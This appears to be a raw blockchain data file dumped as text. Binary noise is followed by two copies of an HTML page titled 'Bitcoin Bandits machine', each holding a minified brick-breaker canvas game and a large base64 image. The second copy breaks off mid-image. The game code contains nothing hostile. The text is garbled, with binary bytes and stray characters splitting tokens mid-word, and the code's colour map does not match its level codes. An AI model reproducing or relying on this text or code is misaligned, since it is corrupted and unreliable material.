File: blk03410.txt

?;8850>:7icZA=91-9voe@<8qjaoi`JEB
a[T<96946B>::57a\U=79E@>:62ZUN<94\WORLGGB@B=<51484.
wfXSMMHC<84jd[YTND?=
{{yuyvsng[tjZRONTNIHDA0-//++1/*.+&
xfkib}sa_]ZwhQB?=EA;YL:?:62/551.!
ubvnawm]zkSteOMJMqbLh\J0+8-*(-*&43
UlbTVROPNI^VD=;A96=52;/+56/3=7-%"+.+(,)(42%(%
eMeYH^TGl]FUMBtaA]O:ND5
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"]M
,["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+briM
ckGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else M
if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)M
){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.M
fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
kQ775fsCzebm5srxzMxM18flT+tb6XTQAEEp0ABBiTjoyhNnnivHV6xd+sT0Tq8zHfInRkY6Vze2bdtWjvN4pWn7KNan66ABglKgAYIScdAojy0effuRcnzdvTct2bfpdXHHdFnJNz3lT1bMf4+m7aOggwYISoEGCEqBBghKgQYIykVCevb43evODs48Xm77v5NjmgxMMB00QFAKNEBQIg6gNZdf/bol2848cWIMMxnMpZdeWo5/sfrlY5uHDhogKAUaICgRB1355Zlq/PN/++rY5sHKs2bNmnFPoWf5FwQcf/KnY5uHDhogKAUaICgRR8t23HV3OT72x39Yu/1v168b6Zza9pK1S7flEQjQDh00QFAKNEBQIo6W3ZLFF7satq8U+cP2r/9a9RD+b7/5yJJ93/hwfw/pz7/jbVLl32kHvdBBAwSlg27ZwVOny/EtDx6u374Cu+k25F8dVIzz7jJfe7rSbdmypRzfcccdKaXp7aRftKb67/2lz/+8HEdZa1zMKcp8M
cjpogKAUaICgRBwta4ovVnqs0XTBsO71YTp06FBKKaVvPN+5t7j4r/6sHP/5kceX2bM6bzfn7ua8x44d6zi/aZTHCJdcckk5HmekUMwpynxyOmiAoBRogKBEHEM0qSs3RhVndOuCG66s3f6zv/l89cPvvSmllNKlb9hcf5Is4uh07rrzwjDooAGCUqABghJxDNEkxRqR/fqrrirHP/3Lv67d52Pn/jxxov778d5/8GA5fj7bno9/7YPv7md60DcdNEBQCjRAUCKOlk3qyo3I/vtHP+x6340bN/b9PkWU8swjP+77HNALHTRAUAo0QFAijpY1xRqij/Fa/bvbU0opPf+NB5d9fbl9eolSoA06aICgdNAjomsenl91cdGuqSvu9vVu3wfapIMGCEqBBghKxDFELgy2b+vWrSmllO5seP1jDdvbcKcn1zFiOmiAoBRogKBEHEMk1mhf/r1xvcjXOXfStKKjeO9NmzaV2w4fPtzXfKAbOmiAoBRogKBEHCNiRUe7jh49M
2nGfbm7f7uW4bt4T2qSDBghKgQYISsTRsqYoQ6wxer3EGm0cB23TQQMEpYNumU55vO64445yfOONN5bjp59+etnj8vXVLgYShQ4aICgFGiAoEUfLHn37kXJ83b03db29m32p5PHFSjo39EIHDRCUAg0QlIijC73EFvnr+ZroU5/aWG1PS7cfvfXa7FxtzHoydVqNEe28MAgdNEBQCjRAUCKOLuSxxdGbqyji1KeqqCKPLQqnn3+247nv/6+zH61335dtdLNLo4WFhXFP4TwzMzPjngITTAcNEJQCDRCUiKNHz9xXfQfdvqfny/GuV3T/XXlFrNHrccQwPz9fO966desYZsMk00EDBKWDHkDe/RZdcb5t3eqLynF+wbDuuN2XVPvSWd65zs7OjvS98/dzkZBh0kEDBKVAAwQl4hhAp4t9F9xwZTle98iPy3FT3EH3Rh1rwDjooAGCUqABghJxDKAunshXbuS6iTsAcjpogKAUaICgRBwtKaKNPMp46pvfK8evfONrM
